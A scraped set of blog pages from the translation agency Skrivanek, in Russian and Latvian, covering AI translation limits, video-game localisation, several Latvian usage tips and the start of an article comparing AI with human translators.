новинки предлагал возможность отправлять роботу файлы, загружая их, которые тот сможет проанализировать. Казалось бы, эту функцию с тем же успехом можно было бы использовать для перевода документов объемом в несколько десятков страниц. Но нет. Робот скорее даст небольшой обзор на один или несколько параграфов, но полностью проигнорирует остальной документ. Возможно, в этом стоит винить не столько поведение робота в Интернете, сколько высокую стоимость запуска языковой модели. В апреле 2023 года компания SemiAnalysis, занимающаяся исследованием данных, пришла к выводу, что каждый запрос или приказ (prompt), что вводится в чат-бот, стоит 0,36 доллара. ОБЪЕМ ДАННЫХ СЛИШКОМ ВЕЛИК Использование инструментов ИИ для перевода текстов и документов по большей степени полезно, если обучающие данные уже включают в себя почти весь Интернет – теоретически нет ни одной темы, незнакомой роботу. Но, как говорится, что подходит для всего, не подходит ни для чего. Чтобы сделать процесс перевода более эффективным, есть два варианта: бороться самостоятельно, подбирая правильные запросы, или использовать инструмент для перевода, который уже адаптирован к особенностям латышской языковой культуры. Если вы рассматриваете возможность машинного перевода с использованием искусственного интеллекта, рекомендуем обратить внимание на созданное Skrivanek решение машинного перевода, адаптированное под нужды предприятий. Как уже упоминалось, в ChatGPT и других похожих инструментах объем обучающих данных большой, однако он не адаптирован под латышский язык. Да, и без адаптации возможно добиться довольно высокой точности с помощью инструментов ИИ, однако не всегда можно рассчитывать на то, что в содержании не будет варваризмов, ненужных англицизмов или слов, придуманных ИИ. Переведенный текст полностью выполняет свою задачу, если при прочтении невозможно определить, что он изначально создан на другом языке. ПРЕИМУЩЕСТВА ИНСТРУМЕНТА МАШИННОГО ПЕРЕВОДА SKRIVANEK: Быстрая обработка. Если нужно перевести текст, чтобы как можно быстрее понять его смысл, машинный перевод поможет сэкономить время и деньги. Ориентирован на местный рынок. Выражения, которые понятны в одной стране, в другой могут вызывать удивление. Данные не хранятся на сервере. Информация, введенная в традиционные инструменты ИИ, может быть использована в целях обучения. Информация, введенная в нейронный машинный переводчик Skrivanek, не передается третьим лицам. Возможность «отшлифовать» текст. Чтобы быть уверенным в том, что текст «доведен до совершенства», после использования инструмента ИИ можно привлечь профессионального переводчика или копирайтера. ВЫВОДЫ У каждого инструмента есть свои преимущества и недостатки. Инструменты искусственного интеллекта не являются исключением – генерируемые ими тексты можно использовать, однако, чтобы создавать превосходные, изящные тексты, побуждающие к действию, необходимо участие лингвиста или переводчика. Искусственный интеллект способен творить чудеса – особенно когда сталкиваешься с его инструментами впервые,– но зачастую они слишком необычны, чтобы можно было сразу ими воспользоваться. Чтобы текст получился хорошим и подходящим для местного рынка, важен взгляд профессионального лингвиста. Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Инвестируя в локализацию видеоигр, разработчики расширяют свой рынок, увеличивают многообразие геймеров и повышают объемы продаж. - Published: 2024-10-07 - Modified: 2024-10-24 - URL: https://skrivanek.lv/ka-videospelu-lokalizacija-var-uzlabot-pardosanas-raditajus/ - Kategorijas: Raksti - Translation Priorities: Optional КАК ЛОКАЛИЗАЦИЯ ВИДЕОИГР МОЖЕТ УЛУЧШИТЬ ПОКАЗАТЕЛИ ПРОДАЖ? Возможности, предлагаемые для проведения свободного времени, сегодня безграничны. Кто-то по-прежнему предпочитает погрузиться в мир книг, а кто-то проводит выходные за просмотром нового сезона своего любимого сериала. Однако все большую популярность в мире набирают видеоигры. Если когда-то люди считали, что видеоигры – нишевый продукт, нацеленный исключительно на молодежь и ассоциирующийся главным образом с жестокостью, то сейчас многие изменили свое мнение. Видеоигры открывают красочный мир фантазий, который привлекает как детей, так и взрослых, к тому же ассортимент предлагаемых игр действительно огромен – от интеллектуальных до сложных и тщательно проработанных ролевых игр, которые погружают игрока в новую реальность. В последние годы мировой рынок компьютерных игр претерпел значительный рост и расширил их доступность для представителей разных культур и языков. Аудитория становится более многообразной, и количество геймеров продолжает расти. По данным NEWZOO, прогнозируемый в 2023 году общий доход отрасли может достигнуть 366 млрд долларов. В 2022 году только китайский рынок принес отрасли 45 млрд долларов, а в Европе наибольшее количество геймеров было зафиксировано в Германии, что пополнило отраслевую казну еще 6 млрд долларов. Данные наглядно показывают, что игровая индустрия может быть прибыльной, если сделать ее доступной для более широкой аудитории. Это достигаетcя путем локализации и адаптации игр для соответствующих регионов. ЧТО ТАКОЕ ЛОКАЛИЗАЦИЯ И ЧЕМ ОНА ОТЛИЧАЕТСЯ ОТ ПЕРЕВОДА? Локализация видеоигр – сложный процесс, в результате которого содержание не только переводится на соответствующий язык, но и адаптируется к особенностям языка, культуры и региона. Локализация является всеобъемлющей, поскольку адаптирует культурный код, идиомы, юмор, игровые механики согласно предпочтениям аудитории. Ее цель – создать впечатление, что игра разработана для определенного рынка. ЧТО ВКЛЮЧАЕТ В СЕБЯ ЛОКАЛИЗАЦИЯ: перевод всего содержания, в том числе диалогов, инструкций, маркетинговых материалов и интерфейса; адаптацию содержания с учетом местных традиций и норм во избежание проявления неуважения по отношению к культуре; адаптацию игры к техническим стандартам, таким как специфика технологии, подключение к Интернету и законы о цензуре; локализацию юмора для сохранения оригинальной интонации, так как дословный перевод зачастую невозможен; запись новых голосов на конкретном языке. ДЛЯ ЧЕГО ЛОКАЛИЗОВЫВАТЬ ВИДЕОИГРЫ? Опрос, проведенный компанией Common Sense Advisory, показал, что 72 % пользователей большую часть времени предпочитают проводить на веб-сайтах, которые работают на их родном языке, из чего следует, что эти люди отдают предпочтение локализованному контенту. Инвестируя в локализацию, разработчики игр расширяют свой рынок, увеличивают многообразие игроков и повышают объемы продаж. КАКОВЫ ОСНОВНЫЕ ПРЕИМУЩЕСТВА ЛОКАЛИЗАЦИИ? Улучшает и оптимизирует показатели продаж. Локализация позволяет компаниям выходить за пределы местного рынка. При адаптации игры под конкретный регион у потенциального игрока больше возможностей почувствовать более тесную связь с игрой. Локализация помогает компаниям становиться мировыми брендами. Увеличивается многообразие игроков. Локализация открывает возможности для нового рынка игроков, которые прежде не имели доступа к игре или не понимали ее. Игра привлекает и удерживает игроков. Если игрок не понимает игру или из-за языка и контекста не может себя с ней ассоциировать, существует большая вероятность, что он откажется и забудет о ней. Если игрок чувствует, что разработчик постарался адаптировать игру специально под него, интерес сохраняется. Локализация помогает защитить репутацию компании. Неспособность понять целевую аудиторию может серьезно навредить репутации бренда. Если выполнить перевод игры, но не локализовать ее, существует риск, что она окажется несоответствующей или даже оскорбительной по отношению к культурным традициям. В связи с этим важно привлекать экспертов, которые разбираются в особенностях языка и культуры региона. КАКОВЫ ОСНОВНЫЕ ТРУДНОСТИ ПРИ ЛОКАЛИЗАЦИИ ИГР? Несмотря на то что главная цель игры – завлечь игрока в новую реальность и предложить беспрецедентный опыт, никогда нельзя недооценивать игрока. Контекстные и языковые ошибки всегда будут замечены и могут повлиять на успех игры в соответствующей стране. Одним из самых удачных примеров локализации в игровой индустрии можно считать польскую серию игр «Ведьмак», когда огромные усилия разработчиков по адаптации к конкретной аудитории привели к ее огромной популярности во всем мире, особенно в Северной Америке и Азии. При разработке «Ведьмак 3: Дикая охота» бренд отнесся к процессу столь серьезно, что временно перевел команду локализаторов в страну, где разрабатывалась игра, чтобы добиться аутентичных результатов. Однако существуют и плохие примеры. Однажды жертвой плохого перевода оказалась игра «Call of Duty: Modern Warfare 2», когда в одну из миссий игры, которая по разным причинам подвергается цензуре на российском рынке, была включена цитата: «И помните: ни слова по-русски». Цель цитаты – сообщить, что в этой миссии запрещено говорить по-русски, но на японский язык цитата была переведена как «Убейте их. Они русские». Главная задача при локализации – разобраться в культурных нюансах. Создание толерантного содержания требует понимания конкретного языка и культуры. Идиомы и юмор являются самыми сложными для перевода, поскольку чаще всего не имеют прямого перевода на другие языки. Запись голоса также представляет собой сложную задачу, потому что локализованный аудиоматериал должен соответствовать движениям губ и мимике персонажа. Справиться с такими сложностями способен только носитель языка. Профессионал предоставит подробную информацию о нормах и выражениях местного языка. На самом деле локализация – недешевое удовольствие, и все же это ценная инвестиция в будущее для любого разработчика, который желает охватить более широкую аудиторию. ЧТО НУЖНО СДЕЛАТЬ ДЛЯ УСПЕШНОЙ ЛОКАЛИЗАЦИИ? Для того чтобы добиться успеха и выполнить работу качественно, необходимо начать с самого главного. Нужно провести анализ рынка для понимания культурных и языковых нюансов, а также неписаных правил, чтобы правильно адаптировать содержание и избежать оскорбительного или откровенно вводящего в заблуждение перевода. Команда должна состоять из специалистов – носителей языка, которые могут предоставить ценную информацию и более глубокое понимание языковых и культурных норм страны. Игру следует дополнить возможностью оставлять отзывы, тем самым способствуя установлению обратной связи и доверия, чтобы получать ценные советы и исправления от людей, для которых игра предназначена. Локализованный контент также можно сначала протестировать, отобрав группу игроков, которые будут играть и тестировать игру, вносить предложения, критиковать и оценивать ее, прежде чем игра будет выпущена для более широкой аудитории. КАКОВЫ РИСКИ ПРОПУСКА ЭТАПА ЛОКАЛИЗАЦИИ? Качественная локализация в первую очередь помогает избежать критики или даже скандалов из-за контента, который не подходит для конкретной аудитории. То, что для одного является юмором, для другого может быть проявлением неуважения. Качественно адаптированный контент улучшает впечатления игрока и позволяет ему почувствовать свою значимость. Пропустив этап локализации, есть риск потерять потенциальную аудиторию или, что еще хуже, стать объектом шуток в Интернете из-за плохого перевода, как однажды это случилось с «Zero Wing». Игра печально известна своим плохим английским переводом – «All your base are belong to us», что в переводе (плохом) на латышский звучало бы: «Все ваша база – принадлежать нам». Нелогичный перевод до сих пор гуляет по Сети и в какой-то степени определяет мнение игроков об общем качестве игры. Слишком буквальный перевод утрачивает оригинальный тон, юмор и даже контекст, делая содержание непонятным, а средства, вложенные вами в плохого переводчика, – выброшенными на ветер. Правильная локализация решает эти проблемы и адаптирует содержание игры таким образом, чтобы оно естественно ложилось на переводимый язык. ЧЕМ МОЖЕТ ПОМОЧЬ SKRIVANEK? Skrivanek – это бюро переводов, которое специализируется на локализации и служит мостом между вашим продуктом и целевым рынком. Наши специалисты позаботятся о том, чтобы ваш продукт достиг широкой аудитории в разных регионах. Воспользовавшись знаниями бюро переводов в сфере локализации, вы сможете значительно повысить привлекательность своего продукта на мировом рынке, а также увеличить объем продаж на международном уровне. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Auto apturēsim pie sarkanā luksafora vai luksofora signāla? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-10-03 - Modified: 2024-10-22 - URL: https://skrivanek.lv/luksafors-vai-luksofors/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LUKSAFORS VAI LUKSOFORS 1 Kā pareizi saukt ierīci, kura regulē satiksmi – luksafors vai luksofors? Pirmie gaismas signāli satiksmes regulēšanai parādījās 19. gadsimta beigās Londonā, lai, pieaugot automobiļu skaitam, samazinātu nepieciešamību pēc dežurējošajiem policistiem. Mūsdienās, saprotams, šīs ierīces lieto visā pasaulē. Kad satiksmi regulējošie gaismas signāli parādījās Latvijā, tos sauca par gaismaforiem, kustības regulēšanas gaismas signālaparātiem vai pat svetaforiem. Tomēr 1970. gadā Terminoloģijas komisija ieteica jaunu vārdu – luksofors (no latīņu lux – ‘gaisma’ un grieķu phoros – ‘nesējs, nesošs’). Kopš tā laika latviešu valodā ierīci, kura regulē satiksmi ar zaļu, dzeltenu vai sarkanu gaismas signālu, sauc par luksoforu. Tātad krustojumā auto apturēsim pie sarkanā luksofora signāla. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Nogrieznis, kas savieno divas daudzstūra virsotnes, ir diognāle, diogonāle vai diagonāle? Ieskaties! Daudzi noderīgi valodas padomi vienuviet! - Published: 2024-10-03 - Modified: 2024-10-22 - URL: https://skrivanek.lv/diognale-diogonale-vai-diagonale/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DIOGNĀLE, DIOGONĀLE VAI DIAGONĀLE 1 Nogrieznis, kas savieno divas daudzstūra virsotnes, ir diognāle, diogonāle vai diagonāle? Lai saprastu, kā tad ir pareizi, jāskatās vārda izcelsme. Vārds “diagonāle” radies no grieķu vārdiem dia (caur) un gōnia (leņķis), vēlāk nostiprinoties gan grieķu valodā (diagōnios – no leņķa uz leņķi), gan latīņu valodā (diagōnālis). Vārdiem, kas cēlušies no citām valodām, saglabā rakstību arī latviešu valodā. Lai arī runājot skaņas mēdz saplūst, romba pretējās malas savienosim ar diagonāli. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Reģistratūrā ar telefonu noskenēsim QR kodu vai kvadrātkodu? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-10-02 - Modified: 2024-10-22 - URL: https://skrivanek.lv/qr-kods-vai-kvadratkods/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional QR kods vai kvadrātkods 1 Reģistratūrā ar telefona kameru noskenēsim QR kodu vai kvadrātkodu? Kvadrātkods ir kvadrātisks laukums no daudziem nelieliem kvadrātiņiem, kuru izvietojums ietver noteiktu informāciju. Angļu valodā termins QR code radās jau 20. gadsimta 90. gados kā saīsinājums no quick response code jeb “ātrās atbildes koda”. Latviešu valodā terminu “kvadrātkods” Terminoloģijas komisija apstiprināja 2016. gadā, un tas veidots pēc analoģijas ar terminu “svītrkods”, kas savukārt ir dažāda platuma mašīnlasāms svītru salikums. Tāpēc nemocīsimies, lauzot galvu, kā pareizi izrunāt anglisko QR code, bet lietosim latvisko terminu “kvadrātkods”. Tātad reģistratūrā ar telefona kameru noskenēsim kvadrātkodu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Mēs tiksimies nākamajā nedēļā vai nākošajā nedēļā? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-10-02 - Modified: 2024-10-22 - URL: https://skrivanek.lv/nakamais-vai-nakosais/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NĀKAMAIS VAI NĀKOŠAIS 1 Mēs tiksimies nākamajā nedēļā vai nākošajā nedēļā? Abi vārdi – “nākamais” un “nākošais” – atvasināti no vārda “nākt”. “Nākamais” ir tāds, kas būs tuvākajā nākotnē, notiks pēc kā cita. Savukārt “nākošais” ir tāds, kas tuvojas, nāk šurp. Tiesa, Mūsdienu latviešu valodas vārdnīcā vārds “nākošais” ir iekļauts ar tādu pašu nozīmi kā vārdam “nākamais”. Tomēr šis lietojums nav apstiprināts, tāpēc gan skolu programmās, gan valodnieku ieteikumos aizvien šie vārdi tiek šķirti. Tāpēc sazvanīsimies nākamajā dienā, tiksimies nākamajā nedēļā, bet neaizsniedzamus sapņus atstāsim nākamajai dzīvei! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Lai gan mākslīgais intelekts piedāvā daudzsološas iespējas, cilvēka loma joprojām ir neaizstājama, īpaši sarežģītu tekstu tulkošanā. - Published: 2024-10-01 - Modified: 2025-07-16 - URL: https://skrivanek.lv/tulkotajs/ - Kategorijas: Raksti - Translation Priorities: Optional MĀKSLĪGAIS INTELEKTS SALĪDZINOT AR TULKOTĀJU – SADARBĪBA, NE KONKURENCE Aizvien straujāk attīstoties lielajiem valodu modeļiem, neizpaliek arī inovācijas tulkošanas nozarē. Pēdējo gadu gaitā ir sasniegts ievērojams progress mākslīgā intelekta (MI) lauciņā, kuru rīkus nu jau var izmantot katrs no mums ne tikai satura radīšanai, bet arī tulkošanai. Taču, lai arī MI tulkošanas rīkiem ir zināmas priekšrocības, neizpaliek arī būtiski trūkumi. Šajā rakstā aplūkosim mākslīgā intelekta un arī tulkotāja stiprās puses, kā arī pārrunāsim, vai tulkošanas nozarē pastāv nākotne bez cilvēka iesaistes. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt CILVĒKS PRET MAŠĪNU: KURŠ PĀRTULKOS LABĀK? Spriežot par tulkotāja un mašīntulkošanas priekšrocībām un trūkumiem, ir vērts ieskatīties dažādās situācijās, ar kurām var nākties saskarties. Katram uzņēmumam ir savas vajadzības, tādēļ arī skatījums par atbilstošāko risinājumu var ievērojami atšķirties. Zemāk fiksēti daži no ievērojamākiem faktoriem, kas var svaru kausus pavērst uz vienu vai otru pusi izvēlē starp cilvēka un datora radīto tulkojumu. Kultūras atšķirību šķetināšana Kur divi cilvēki, tur trīs viedokļi. Līdzīgā veidā varētu aprakstīt arī katras valsts un valodas kultūras īpatnības. Kas vienā šķiet acīmredzams, citā var izraisīt ne tikai izbrīnu, bet arī sašutumu, negācijas, aizvainojumu. Piemēram, lielie valodu modeļi 90% gadījumu joprojām tiek trenēti ar angļu valodas saturu, protams, ka tas ietekmē to, kā lielais valodu modelis rada un tulko tekstu latviešu, igauņu vai somāliešu valodā. Piemēram, viens un tas pats joks izteikts vārds vārdā divās dažādās valodās var radīt apjukumu. Tiesa – bieži joki un izteicieni dažādās valodās ir līdzīgi, taču katrā kultūrā var būt nelielas nianses, kas to padara saprotamāku. Sarunu šovā, kur dalībniekiem nav daudz laika, lai rūpīgi apdomātu katru vārdu, var pasprukt pa kādam salīdzinājumam citādā formātā, ko skatītāji vai klausītāji arī varētu piedot, taču rakstveidā – it īpaši mārketinga materiālos, produktu aprakstos vai lietošanas instrukcijās – ne tik lielā mērā. Veiksmīgs tulkojums ir tāds, kurš ir piemērots tiktāl, ka teju nav iespējams pateikt – vēstījums sākotnēji ir veidots citā valodā. Tā saturs un fakti ir ticami un pārbaudīti. Šobrīd mākslīgajam intelektam ar to nesokas tik veiksmīgi un kvalitatīvi kā pieredzes bagātam tulkotājam – it īpaši, ja izmantotais rīks nav speciāli apmācīts atpazīt un pielāgot izteicienus mērķauditorijai saprotamā un pieņemamā veidā. Ja tas tiek veikts bez pielāgošanas, tad ir iespējams iegūt dažādus jaunvārdus, kādi neeksistē. Lai cīnītos ar neeksistējošiem/nepareiziem jaunvārdiem, kā arī izplatītām valodas kļūdām, ko pieļauj ne tikai mašīntulkotāji, jo tie tiek apmācīti ar visdažādākajiem tekstiem, kuri ne vienmēr ir pareizi, bet arī sabiedrība kopumā, mēs publicējam latviešu valodas padomus, kas noder ne tikai ikdienas saziņā, bet arī radīs visnotaļ pozitīvu iespaidu arī lietišķajā vidē. Konteksta un kopskata izpratne MI tulkojums ir balstīts kopsakarībās, analizējot lielu apjomu informācijas, lai spētu pēcāk to atdarināt loģiskā un saprotamā veidolā. Būtībā mākslīgais intelekts ir kā viedtālruņu tastatūras nākamo vārdu paredzēšanas instruments, zibenīgi skaitļojot, kurš vārds varētu tikt izmantots attiecīgajā kontekstā nākamais. Tādēļ visbiežāk MI tulkošanas rīki veic tulkošanu teikumu līmenī, pārceļot jēgu no vienas valodas uz otru, taču neņemot vērā kontekstu visa teksta vai dokumenta mērogā. Tāpēc bieži var gadīties, ka MI neievēro konsekvenci, izmanto ļoti daudz sinonīmus, kas traucē teksta uztveri, kā arī var sastapt tā saucamās mākslīgā intelekta “halucinācijas” – mākslīgā intelekta ģenerēta nepatiesa vai neprecīza informācija, ko mākslīgais intelekts ļoti pārliecinoši pasniedz kā patiesu, lai gan tā ir neloģiska un/vai nepareiza un bez rūpīgas papildu izpētes un avotu pārbaudes MI lietotājs to pat nepamanīs, taču lasītāji pamanīs! Mākslīgajam intelektam saskaroties ar sarežģītiem tekstiem par tēmām, kas mācību modelī nav iekļautas, jo, vairumā gadījumu, lielie valodu modeļi tiek trenēti uz pagātnes datiem, pastāv iespēja līdz galam “nenolasīt” kontekstu un kļūdīties. Pieredzējis tulkotājs – it īpaši savas nozares eksperts – pirms tulkojuma veikšanas novērtē teksta tematiku, kontekstu, kas var būtiski mainīt atsevišķas satura daļas. Īpaši svarīgi šis ir mārketinga un juridiskajos materiālos, kur pat daži vārdi var mainīt visu jēgu, tādējādi arī juridiskās sekas. IZMAKSU UN KVALITĀTES ATTIECĪBA Gluži kā ikkatrs pakalpojums un prece arī tulkošana var būt kvalitatīva, lēta vai ātra, taču tikai dažkārt šie trīs minētie lielumi būs vienkopus. Tiecoties pēc augstas kvalitātes, pieaug cena. Meklējot veidos, kā iegūt lētu un ātru tulkojumu, var kristies kvalitāte. Savukārt, ja ir nepieciešamība pēc ātra un kvalitatīva tulkojuma, cena var pieaugt. Šāda attiecība bija izteikti novērojama pirms daudziem gadiem. Tagad, pateicoties mākslīgajam intelektam un tulkošanas rīkiem, kas ir pieejami tulkotājiem un tulkošanas birojiem, robežas starp kvalitāti un darbu izpildes ātrumu samazinās, taču arī ne visos gadījumos, jo ir grūti iedomāties, kā MI spētu izjust un aprakstīt jūsu jauno produktu, ietvert vārdos tieši jūsu izdzīvoto unikālo piedzīvojumu ārzemēs. Eksperta skatījums maksā vairāk Ar laiku ikkatrs tulkotājs specializējas vienā vai vairākās tēmās, avota valodu izlaižot cauri savai pieredzes prizmai. Veltot laiku konkrētu nozaru izpētei, eksperta līmeņa tulkotājiem nav tālu jāmeklē pēc terminu atbilstoša tulkojuma mērķvalodā. Tāpat šādi tulkotāji pielāgo teikumus un to izkārtojumu, lai mērķvalodā veidotais teksts būtu ne tikai loģisks, bet arī saturiski baudāms. Tāpat tulkotājs pielāgojas katra sadarbības partnera, klienta vajadzībām, lai tulkojums atbilstu uzņēmuma zīmolam un stilam. Ar MI to panākt ir krietni sarežģītāk, jo tādā gadījumā būtu speciāli rīks “jāapmāca” ar sarežģītām instrukcijām, kuras pēc kāda laika dators var arī aizmirst, kā arī vispār ignorēt jau no paša sākuma. Efektivizācija uz kvalitātes “rēķina” Liela apjoma projektos – it īpaši dokumentos, kur daļa teksta bieži atkārtojas, – mākslīgais intelekts, tieši tulkošanas rīki, var būt noderīgs palīgs. Pēc līdzīga principa šādu materiālu tulkošanai jau daudzus gadus mēdz izmantot dažādus tulkošanas jeb CAT rīkus, kur termini un pat teikumi, kas atkārtojas, jau tiek automātiski pārtulkoti, būtiski taupot laiku un resursus, kā arī nodrošina, ka tiek ievērota konsekvence katrā tekstā. Mašīntulkošana pēc būtības nav jauns izgudrojums – par to tiek spriests jau kopš 17. gadsimta. Taču, tai pieslēdzot mākslīgo intelektu, ievērojami palielinās iegūtā tulkojuma kvalitāte. Mašīntulkošanas kvalitāte pat ar MI iesaisti ir augstāka, taču ne tuvu ideāla. Līdz ar to šādi varētu tulkot tekstus uzņēmuma iekšējai saziņai, piemēram, procesu dokumentācijai, kā arī tulkojot dažādus tipveida dokumentus – standarta līgumus, sludinājumus, pavēstes. Taču tāpat visos no nosauktajiem piemēriem gan derētu piemērot zināmu tulkošanas hibrīdmodeli, lai materiālā neiezagtos 